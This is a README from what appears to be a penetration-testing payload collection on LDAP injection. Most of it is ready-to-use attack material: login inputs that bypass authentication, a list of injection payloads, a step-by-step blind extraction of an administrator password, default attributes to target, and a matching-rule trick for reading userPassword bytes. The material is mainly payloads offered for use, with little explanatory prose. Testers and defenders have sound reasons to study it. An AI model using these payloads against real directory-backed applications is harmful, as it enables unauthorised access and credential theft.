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Intruders LDAP fix typo + LDAP attributes + LFI filter chaining Nov 2, 2018
README.md LDAP fix typo + LDAP attributes + LFI filter chaining Nov 2, 2018

README.md

LDAP injection

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

Exploitation

Example 1.

user  = *)(uid=*))(|(uid=*
pass  = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"

Example 2

user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))

Payloads

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

Blind Exploitation

We can extract using a bypass login

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK

Defaults attributes

Can be used in an injection like *)(ATTRIBUTE_HERE=*

userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName

Exploiting userPassword attribute

userPassword attribute is not a string like the cn attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).

octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.

userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx

Thanks to